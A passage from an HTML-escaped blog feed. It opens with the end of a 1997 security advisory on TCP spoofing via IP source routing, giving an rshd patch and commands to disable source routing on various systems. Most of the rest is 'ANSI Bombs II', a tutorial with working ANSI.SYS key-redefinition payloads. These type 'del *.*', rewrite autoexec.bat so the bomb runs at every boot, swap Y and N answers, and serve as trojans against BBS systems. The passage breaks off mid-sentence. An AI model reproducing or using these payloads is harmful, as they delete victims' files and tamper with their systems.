/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ipproto = ip-&amp;gt;p_proto;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ipproto = IPPROTO_IP;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (!getsockopt(0, ipproto, IP_OPTIONS, (char *)optbuf, &amp;amp;optsize) &amp;amp;&amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; optsize != 0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (i = 0; i &amp;lt; optsize; ) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; u_char c = optbuf[i];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (c == IPOPT_LSRR || c == IPOPT_SSRR)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (c == IPOPT_EOL)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i += (c == IPOPT_NOP) ? 1 : optbuf[i+1];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;One critical concern is in the case where TCP wrappers are being used.&amp;nbsp; If&lt;br /&gt;a user is relying on TCP wrappers, the above fix should be incorporated into&lt;br /&gt;fix_options.c.&amp;nbsp; The problem being that TCP wrappers itself does not close&lt;br /&gt;the connection, however removes the options via setsockopt().&amp;nbsp; In this case&lt;br /&gt;when control is passed to in.rshd, it will never see any options present,&lt;br /&gt;and the connection will remain open (even if in.rshd has the above patch&lt;br /&gt;incorporated).&amp;nbsp; An option to completely drop source routed connections will&lt;br /&gt;hopefully be provided in the next release of TCP wrappers.&amp;nbsp; The other option&lt;br /&gt;is to undefine KILL_IP_OPTIONS, which appears to be undefined by default.&lt;br /&gt;This passes through IP options and allows the called daemon to handle them&lt;br /&gt;accordingly.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Disabling Source Routing&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;&lt;br /&gt;We believe the following information to be accurate, however it is not&lt;br /&gt;guaranteed.&lt;br /&gt;&lt;br /&gt;--- Cisco&lt;br /&gt;&lt;br /&gt;To have the router discard any datagram containing an IP source route option&lt;br /&gt;issue the following command:&lt;br /&gt;&lt;br /&gt;no ip source-route&lt;br /&gt;&lt;br /&gt;This is a global configuration option.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- NetBSD&lt;br /&gt;&lt;br /&gt;Versions of NetBSD prior to 1.2 did not provide the capability for disabling&lt;br /&gt;source routing.&amp;nbsp; Other versions ship with source routing ENABLED by default.&lt;br /&gt;We do not know of a way to prevent NetBSD from accepting source routed packets.&lt;br /&gt;NetBSD systems, however, can be configured to prevent the forwarding of packets&lt;br /&gt;when acting as a gateway.&lt;br /&gt;&lt;br /&gt;To determine whether forwarding of source routed packets is enabled,&lt;br /&gt;issue the following command:&lt;br /&gt;&lt;br /&gt;# sysctl net.inet.ip.forwarding&lt;br /&gt;# sysctl net.inet.ip.forwsrcrt&lt;br /&gt;&lt;br /&gt;The response will be either 0 or 1, 0 meaning off, and 1 meaning it is on.&lt;br /&gt;&lt;br /&gt;Forwarding of source routed packets can be turned off via:&lt;br /&gt;&lt;br /&gt;# sysctl -w net.inet.ip.forwsrcrt=0&lt;br /&gt;&lt;br /&gt;Forwarding of all packets in general can turned off via:&lt;br /&gt;&lt;br /&gt;# sysctl -w net.inet.ip.forwarding=0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- BSD/OS&lt;br /&gt;&lt;br /&gt;BSDI has made a patch availible for rshd, rlogind, tcpd and nfsd.&amp;nbsp; This&lt;br /&gt;patch is availible at:&lt;br /&gt;&lt;br /&gt;ftp://ftp.bsdi.com/bsdi/patches/patches-2.1&lt;br /&gt;&lt;br /&gt;OR via their patches email server &amp;lt;patches@bsdi.com&amp;gt;&lt;br /&gt;&lt;br /&gt;The patch number is&lt;br /&gt;U210-037 (normal version)&lt;br /&gt;D210-037 (domestic version for sites running kerberized version)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BSD/OS 2.1 has source routing disabled by default&lt;br /&gt;&lt;br /&gt;Previous versions ship with source routing ENABLED by default.&amp;nbsp; As far as&lt;br /&gt;we know, BSD/OS cannot be configured to drop source routed packets destined&lt;br /&gt;for itself, however can be configured to prevent the forwarding of such&lt;br /&gt;packets when acting as a gateway.&lt;br /&gt;&lt;br /&gt;To determine whether forwarding of source routed packets is enabled,&lt;br /&gt;issue the following command:&lt;br /&gt;&lt;br /&gt;# sysctl net.inet.ip.forwarding&lt;br /&gt;# sysctl net.inet.ip.forwsrcrt&lt;br /&gt;&lt;br /&gt;The response will be either 0 or 1, 0 meaning off, and 1 meaning it is on.&lt;br /&gt;&lt;br /&gt;Forwarding of source routed packets can be turned off via:&lt;br /&gt;&lt;br /&gt;# sysctl -w net.inet.ip.forwsrcrt=0&lt;br /&gt;&lt;br /&gt;Forwarding of all packets in general can turned off via:&lt;br /&gt;&lt;br /&gt;# sysctl -w net.inet.ip.forwarding=0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- OpenBSD&lt;br /&gt;&lt;br /&gt;Ships with source routing turned off by default.&amp;nbsp; To determine whether source&lt;br /&gt;routing is enabled, the following command can be issued:&lt;br /&gt;&lt;br /&gt;# sysctl net.inet.ip.sourceroute&lt;br /&gt;&lt;br /&gt;The response will be either 0 or 1, 0 meaning that source routing is off,&lt;br /&gt;and 1 meaning it is on.&amp;nbsp; If source routing has been turned on, turn off via:&lt;br /&gt;&lt;br /&gt;# sysctl -w net.inet.ip.sourceroute=0&lt;br /&gt;&lt;br /&gt;This will prevent OpenBSD from forwarding and accepting any source routed&lt;br /&gt;packets.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- FreeBSD&lt;br /&gt;&lt;br /&gt;Ships with source routing turned off by default.&amp;nbsp; To determine whether source&lt;br /&gt;routing is enabled, the following command can be issued:&lt;br /&gt;&lt;br /&gt;# sysctl net.inet.ip.sourceroute&lt;br /&gt;&lt;br /&gt;The response will be either 0 or 1, 0 meaning that source routing is off,&lt;br /&gt;and 1 meaning it is on.&amp;nbsp; If source routing has been turned on, turn off via:&lt;br /&gt;&lt;br /&gt;# sysctl -w net.inet.ip.sourceroute=0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- Linux&lt;br /&gt;&lt;br /&gt;Linux by default has source routing disabled in the kernel.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- Solaris 2.x&lt;br /&gt;&lt;br /&gt;Ships with source routing enabled by default.&amp;nbsp; Solaris 2.5.1 is one of the&lt;br /&gt;few commercial operating systems that does have unpredictable sequence&lt;br /&gt;numbers, which does not help in this attack.&lt;br /&gt;&lt;br /&gt;We know of no method to prevent Solaris from accepting source routed&lt;br /&gt;connections, however, Solaris systems acting as gateways can be prevented&lt;br /&gt;from forwarding any source routed packets via the following commands:&lt;br /&gt;&lt;br /&gt;# ndd -set /dev/ip ip_forward_src_routed 0&lt;br /&gt;&lt;br /&gt;You can prevent forwarding of all packets via:&lt;br /&gt;&lt;br /&gt;# ndd -set /dev/ip ip_forwarding 0&lt;br /&gt;&lt;br /&gt;These commands can be added to /etc/rc2.d/S69inet to take effect at bootup.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- SunOS 4.x&lt;br /&gt;&lt;br /&gt;We know of no method to prevent SunOS from accepting source routed&lt;br /&gt;connections, however a patch is availible to prevent SunOS systems from&lt;br /&gt;forwarding source routed packets.&lt;br /&gt;&lt;br /&gt;This patch is availible at:&lt;br /&gt;&lt;br /&gt;ftp://ftp.secnet.com/pub/patches/source-routing-patch.tar.gz&lt;br /&gt;&lt;br /&gt;To configure SunOS to prevent forwarding of all packets, the following&lt;br /&gt;command can be issued:&lt;br /&gt;&lt;br /&gt;# echo &quot;ip_forwarding/w 0&quot; | adb -k -w /vmunix /dev/mem&lt;br /&gt;# echo &quot;ip_forwarding?w 0&quot; | adb -k -w /vmunix /dev/mem&lt;br /&gt;&lt;br /&gt;The first command turns off packet forwarding in /dev/mem, the second in&lt;br /&gt;/vmunix.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- HP-UX&lt;br /&gt;&lt;br /&gt;HP-UX does not appear to have options for configuring an HP-UX system to&lt;br /&gt;prevent accepting or forwarding of source routed packets.&amp;nbsp; HP-UX has IP&lt;br /&gt;forwarding turned on by default and should be turned off if acting as a&lt;br /&gt;firewall.&amp;nbsp; To determine whether IP forwarding is currently on, the following&lt;br /&gt;command can be issued:&lt;br /&gt;&lt;br /&gt;# adb /hp-ux&lt;br /&gt;ipforwarding?X&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;- user input&lt;br /&gt;ipforwarding:&lt;br /&gt;ipforwarding: 1&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;A response of 1 indicates IP forwarding is ON, 0 indicates off.&amp;nbsp; HP-UX can&lt;br /&gt;be configured to prevent the forwarding of any packets via the following&lt;br /&gt;commands:&lt;br /&gt;&lt;br /&gt;# adb -w /hp-ux /dev/kmem&lt;br /&gt;ipforwarding/W 0&lt;br /&gt;ipforwarding?W 0&lt;br /&gt;^D&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;--- AIX&lt;br /&gt;&lt;br /&gt;AIX cannot be configured to discard source routed packets destined for itself,&lt;br /&gt;however can be configured to prevent the forwarding of source routed packets.&lt;br /&gt;IP forwarding and forwarding of source routed packets specifically can be&lt;br /&gt;turned off under AIX via the following commands:&lt;br /&gt;&lt;br /&gt;To turn off forwarding of all packets:&lt;br /&gt;&lt;br /&gt;# /usr/sbin/no -o ipforwarding=0&lt;br /&gt;&lt;br /&gt;To turn off forwarding of source routed packets:&lt;br /&gt;&lt;br /&gt;# /usr/sbin/no -o nonlocsrcroute=0&lt;br /&gt;&lt;br /&gt;Note that these commands should be added to /etc/rc.net&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If shutting off source routing is not possible and you are still using&lt;br /&gt;services which rely on IP address authentication, they should be disabled&lt;br /&gt;immediately (in.rshd, in.rlogind).&amp;nbsp; in.rlogind is safe if .rhosts and&lt;br /&gt;/etc/hosts.equiv are not used.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Attributions&lt;br /&gt;~~~~~~~~~~~~&lt;br /&gt;&lt;br /&gt;Thanks to Niels Provos &amp;lt;provos@physnet.uni-hamburg.de&amp;gt; for providing&lt;br /&gt;the information and details of this attack.&amp;nbsp; You can view his web&lt;br /&gt;site at http://www.physnet.uni-hamburg.de/provos&lt;br /&gt;&lt;br /&gt;Thanks to Theo de Raadt, the maintainer of OpenBSD for forwarding this&lt;br /&gt;information to us.&amp;nbsp; More information on OpenBSD can be found at&lt;br /&gt;http://www.openbsd.org&lt;br /&gt;&lt;br /&gt;Thanks to Keith Bostic &amp;lt;bostic@bsdi.com&amp;gt; for discussion and a quick&lt;br /&gt;solution for BSD/OS.&lt;br /&gt;&lt;br /&gt;Thanks to Brad Powell &amp;lt;brad.powell@west.sun.com&amp;gt; for providing information&lt;br /&gt;for Solaris 2.x and SunOS 4.x operating systems.&lt;br /&gt;&lt;br /&gt;Thanks go to CERT and AUSCERT for recommendations in this advisory.&lt;br /&gt;&lt;br /&gt;You can contact the author of this advisory at oliver@secnet.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-----BEGIN PGP PUBLIC KEY BLOCK-----&lt;br /&gt;Version: 2.6.3ia&lt;br /&gt;&lt;br /&gt;mQCNAzJATn0AAAEEAJeGbZyoCw14fCoAMeBRKiZ3L6JMbd9f4BtwdtYTwD42/Uz1&lt;br /&gt;A/4UiRJzRLGhARpt1J06NVQEKXQDbejxGIGzAGTcyqUCKH6yNAncqoep3+PKIQJd&lt;br /&gt;Kd23buvbk7yUgyVlqQHDDsW0zMKdlSO7rYByT6zsW0Rv5JmHJh/bLKAOe7p9AAUR&lt;br /&gt;tCVPbGl2ZXIgRnJpZWRyaWNocyA8b2xpdmVyQHNlY25ldC5jb20+iQCVAwUQMkBO&lt;br /&gt;fR/bLKAOe7p9AQEBOAQAkTXiBzf4a31cYYDFmiLWgXq0amQ2lsamdrQohIMEDXe8&lt;br /&gt;45SoGwBzXHVh+gnXCQF2zLxaucKLG3SXPIg+nJWhFczX2Fo97HqdtFmx0Y5IyMgU&lt;br /&gt;qRgK/j8KyJRdVliM1IkX8rf3Bn+ha3xn0yrWlTZMF9nL7iVPBsmgyMOuXwZ7ZB8=&lt;br /&gt;=xq4f&lt;br /&gt;-----END PGP PUBLIC KEY BLOCK-----&lt;br /&gt;&lt;br /&gt;Copyright Notice&lt;br /&gt;~~~~~~~~~~~~~~~~&lt;br /&gt;The contents of this advisory are Copyright (C) 1997 Secure Networks Inc,&lt;br /&gt;and may be distributed freely provided that no fee is charged for&lt;br /&gt;distribution, and that proper credit is given.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;You can find Secure Networks papers at ftp://ftp.secnet.com/pub/papers&lt;br /&gt;&amp;nbsp;and advisories at ftp://ftp.secnet.com/advisories&lt;br /&gt;&lt;br /&gt;&amp;nbsp;You can browse our web site at http://www.secnet.com&lt;br /&gt;&lt;br /&gt;&amp;nbsp;You can subscribe to our security advisory mailing list by sending mail to&lt;br /&gt;&amp;nbsp;majordomo@secnet.com with the line &quot;subscribe sni-advisories&quot;&lt;/div&gt;</description><link>http://it-guide888.blogspot.com/2016/12/a-simple-tcp-spoofing-attack.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-275630048922679557</guid><pubDate>Wed, 21 Dec 2016 06:54:00 +0000</pubDate><atom:updated>2016-12-20T22:54:12.215-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Articles</category><title>ANSI Bombs II: Tips and Techniques</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;ANSI Bombs II: Tips and Techniques - The Raging Golem&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;I. Introduction&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; After writing the last file, a lot of people let me know about the&lt;br /&gt;mistakes I had made.&amp;nbsp; I guess this file is to clear up those miscon&lt;br /&gt;ceptions and to let people know about some of the little tricks behind&lt;br /&gt;ANSI bombing.&amp;nbsp; Of course, ANSI bombing isn&#39;t as dangerous as a lot of&lt;br /&gt;people make it out to be, but bombs are still fun to make and with a&lt;br /&gt;little planning deliver some degree of success.&amp;nbsp; ANSI bombing can&lt;br /&gt;be dangerous, so I am tired of hearing people say that an ANSI bomb is&lt;br /&gt;harmless, another misconception I hope to clear up.&amp;nbsp; Now, most people&lt;br /&gt;that have spent time experimenting with ANSI bombs probably know most&lt;br /&gt;of the material in this file, but it might be fun just to read anyway.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2. Misconceptions&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In my last file, I made three major blunders, or what I would con&lt;br /&gt;sider to be major blunders.&amp;nbsp; First, I said that ANSI bombs could be&lt;br /&gt;used on BBSs to screw people over, but I guess I was wrong.&amp;nbsp; It was&lt;br /&gt;pure speculation on what other people had said that made me say that.&lt;br /&gt;ANSI codes, including those that redefine keys, are sent over the&lt;br /&gt;lines, but most comm programs don&#39;t use ANSI.SYS; they use their own&lt;br /&gt;version of ANSI, which doesn&#39;t support key redefinition.&amp;nbsp; Some people&lt;br /&gt;might have a program that supports it, but I haven&#39;t seen it yet.&amp;nbsp; I&lt;br /&gt;have tested bombs on systems on my own and proved to myself that they&lt;br /&gt;don&#39;t work.&amp;nbsp; I have also seen people fuck up bombs that would have&lt;br /&gt;worked by uploading them in a message.&amp;nbsp; The second misconception is&lt;br /&gt;that ANSI bombs are dangerous when put into zips.&amp;nbsp; I haven&#39;t really&lt;br /&gt;tested this out much, but from what I hear with the newer versions of&lt;br /&gt;PKZIP, you have to specify that you want to see ANSI comments when&lt;br /&gt;unzipping.&amp;nbsp; It is unlikely that you would waste your time unzipping&lt;br /&gt;something again after seeing &quot;Format C:&quot; in the middle of an escape&lt;br /&gt;code.&amp;nbsp; I could be mistaken, but I&#39;m pretty sure that I&#39;m right. Third,&lt;br /&gt;the last thing that was a misconception is that VANSI.SYS will protect&lt;br /&gt;your system from key redefinition.&amp;nbsp; Maybe the newer versions don&#39;t&lt;br /&gt;support key redefinition, but mine sure as hell does.&amp;nbsp; There are pro&lt;br /&gt;grams out there that don&#39;t support it, but I don&#39;t know any of the&lt;br /&gt;names.&amp;nbsp; Of course, if I were you, I would be wary about using some&lt;br /&gt;thing other then ANSI.&amp;nbsp; I have a few friends that are working on &quot;A&lt;br /&gt;Better ANSI&quot; for PDers, which, instead of being better, really screws&lt;br /&gt;them over.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3. An Overview&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now, in case you haven&#39;t read my other file (it&#39;s called ANSI.DOC,&lt;br /&gt;kind of lame but fairly informative), I&#39;ll briefly go over the struc&lt;br /&gt;ture of an ANSI bomb.&amp;nbsp; Skip this part if you know what an ANSI bomb is&lt;br /&gt;and how to make one.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In ANSI everything is done with a system of escape codes.&amp;nbsp; Key&lt;br /&gt;redefinition is one of those codes.&amp;nbsp; (From now, whenever I say ESC, I&lt;br /&gt;really mean the arrow, ).&amp;nbsp; Here is a basic command:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ESC [13;27p&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; This would make the &amp;lt;Enter&amp;gt; key (13 is the code for enter) turn&lt;br /&gt;into the &amp;lt;Escape&amp;gt; key (27 is the code for escape).&amp;nbsp; The&amp;nbsp; always has to&lt;br /&gt;be there, as do the bracket and the &quot;p&quot;, but what is between the&lt;br /&gt;bracket and the &quot;p&quot; is up to you.&amp;nbsp; The first number is always the key&lt;br /&gt;that you want to be redefined.&amp;nbsp; If there is a zero for the first num&lt;br /&gt;ber, that means the key is in the extended set, and therefore, the&lt;br /&gt;first two numbers are the code.&amp;nbsp; The bracket signifies the beginning&lt;br /&gt;of the definition, and the &quot;p&quot; signifies the end.&amp;nbsp; Whenever you want a&lt;br /&gt;key pressed, you have to use it&#39;s numerical code (i.e. 13 is the code&lt;br /&gt;for &amp;lt;Enter&amp;gt;).&amp;nbsp; You can&#39;t redefine strings, but you can redefine a key&lt;br /&gt;to become a string (i.e. ESC [13;&quot;Blah&quot;p would make &amp;lt;Enter&amp;gt; say&lt;br /&gt;&quot;Blah&quot;).&amp;nbsp; Strings must be inside of quotes, which includes commands&lt;br /&gt;that you want typed on the DOS prompt (i.e. ESC [13;&quot;Del *.*&quot;;13p&lt;br /&gt;would delete everything in the directory, note that 13 stands for&lt;br /&gt;Enter in this case, not the redefinition).&amp;nbsp; An escape code can have&lt;br /&gt;as many commands as you want in it, but each one has to be separated&lt;br /&gt;by a semi-colon.&amp;nbsp; You can only redefine one key in each escape code,&lt;br /&gt;so if you want to redefine another key, you have to start another&lt;br /&gt;escape code.&amp;nbsp; That&#39;s about it when it comes to bombs, now that you&lt;br /&gt;have the basics, all you really need is a little imagination.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4. Tips and Tricks&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; A. The Y/N Redefinition&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now, here&#39;s a simple but fun little ANSI bomb:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ESC [78;89;13p ESC [110;121;13p&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Basically, all this does is turn a capital &quot;N&quot; into &quot;Y&quot; and a&lt;br /&gt;lower-case &quot;n&quot; into &quot;y&quot;.&amp;nbsp; Alone this doesn&#39;t do too much, except for&lt;br /&gt;screw around with what they are typing.&amp;nbsp; On the other hand, try adding&lt;br /&gt;this line of code to the ANSI bomb:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ESC [13;27;13;&quot;del *.*&quot;;13p&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Most people would automatically press &quot;N&quot; when they see &quot;Del *.*&quot;,&lt;br /&gt;but when they do, they will be screwed over.&amp;nbsp; This portion of a bomb&lt;br /&gt;is very useful when it comes to making good bombs.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; B. Screwing with the Autoexec.bat&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Here is another line of code that you may find useful in future&lt;br /&gt;bombing projects:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ESC [13;27;13;&quot;copy bomb.ans c:\&quot;;13;&quot;copy con&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; c:\autoexec.bat&quot;;13;&quot;type bomb.ans&quot;;13;0;109;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 13;&quot;cls&quot;;13p&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; This line of code makes the bomb a little more permanent and a&lt;br /&gt;little more dangerous.&amp;nbsp; It copies the bomb into the root directory,&lt;br /&gt;then it change/creates the autoexec.bat, so the bomb is typed after&lt;br /&gt;every boot-up.&amp;nbsp; Of course, the person could just boot off a disk, but&lt;br /&gt;I&#39;m sure this would get them a few time.&amp;nbsp; It could also probably&lt;br /&gt;appear as though it were a virus, scaring the shit out of the owner of&lt;br /&gt;the computer.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; C. Turning Commands into Other Commands&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; One of the best pranks to do to someone using an ANSI bomb is to&lt;br /&gt;redefine commands.&amp;nbsp; That way if they type in &quot;copy&quot;, it will turn into&lt;br /&gt;&quot;Del *.*&quot;.&amp;nbsp; Since you can&#39;t actually change the whole string, you have&lt;br /&gt;to take a different approach.&amp;nbsp; You have to change a few of the keys,&lt;br /&gt;so when typed, they type and execute the desired command.&amp;nbsp; I guess it&lt;br /&gt;would be coolest to have to command exactly the same length; that way&lt;br /&gt;you could redefine one key at a time to obtain the desired effect.&lt;br /&gt;It doesn&#39;t really matter how you do it, just as long as it works.&amp;nbsp; You&lt;br /&gt;might make an ANSI that says &quot;Wow, check out what this bomb did to&lt;br /&gt;your directory&quot;, and then have it redefine the keys, so when they type&lt;br /&gt;in &quot;dir&quot;, it turns into &quot;del&quot;.&amp;nbsp; I think you get the idea.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; D. Trojans&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; By now, everybody knows what a Trojan is.&amp;nbsp; You probably wouldn&#39;t&lt;br /&gt;think so, but ANSI bombs can be used as Trojans and in Trojans. First,&lt;br /&gt;if you are planning on crashing a board, but you&#39;re not very good at&lt;br /&gt;programming, then make yourself an ANSI bomb.&amp;nbsp; Try to find out in&lt;br /&gt;which directory the main files for running the BBS are stored. They&lt;br /&gt;are usually under the name BBS or the name of the software, like WWIV&lt;br /&gt;or Telegard.&amp;nbsp; Then, 